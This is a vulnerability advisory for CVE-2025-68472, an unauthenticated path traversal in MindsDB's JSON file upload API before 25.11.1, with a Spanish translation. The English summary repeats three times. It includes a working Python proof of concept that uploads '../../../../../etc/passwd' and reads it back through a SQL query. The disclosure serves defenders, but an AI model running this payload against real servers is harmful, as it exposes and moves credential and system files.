CVE-2025-68472

MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 25.11.1, an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url". Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks. This vulnerability is fixed in 25.11.1.

MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 25.11.1, an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url". Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks. This vulnerability is fixed in 25.11.1.

MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 25.11.1, an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url". Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks. This vulnerability is fixed in 25.11.1.

### Summary [BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. ### Details The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `"url"`: - `data = request.json` (line ~104) accepts attacker input without validation. - `file_path = os.path.join(temp_dir_path, data["file"])` (line ~178) creates the path inside a temporary directory, but if `data["file"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location. - The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB’s managed storage. Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks. ### PoC 1. Run MindsDB in Docker: ```bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest ``` 2. Execute the exploit from the host (save as poc.py and run with `python poc.py`): ```python # poc.py import requests, json base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text) q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) ``` 3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory. 4. Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal ### Impact - Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

MindsDB es una plataforma para construir inteligencia artificial a partir de datos empresariales. Antes de la versión 25.11.1, un salto de ruta no autenticado en la API de carga de archivos permite a cualquier llamador leer archivos arbitrarios del sistema de archivos del servidor y moverlos al almacenamiento de MindsDB, exponiendo datos sensibles. El manejador PUT en file.py une directamente datos controlados por el usuario en una ruta del sistema de archivos cuando el cuerpo de la solicitud es JSON y source_type no es 'url'. Solo las cargas multipart y las cargas con origen en URL reciben saneamiento; las cargas JSON carecen de cualquier llamada a clear_filename o comprobaciones equivalentes. Esta vulnerabilidad está corregida en 25.11.1.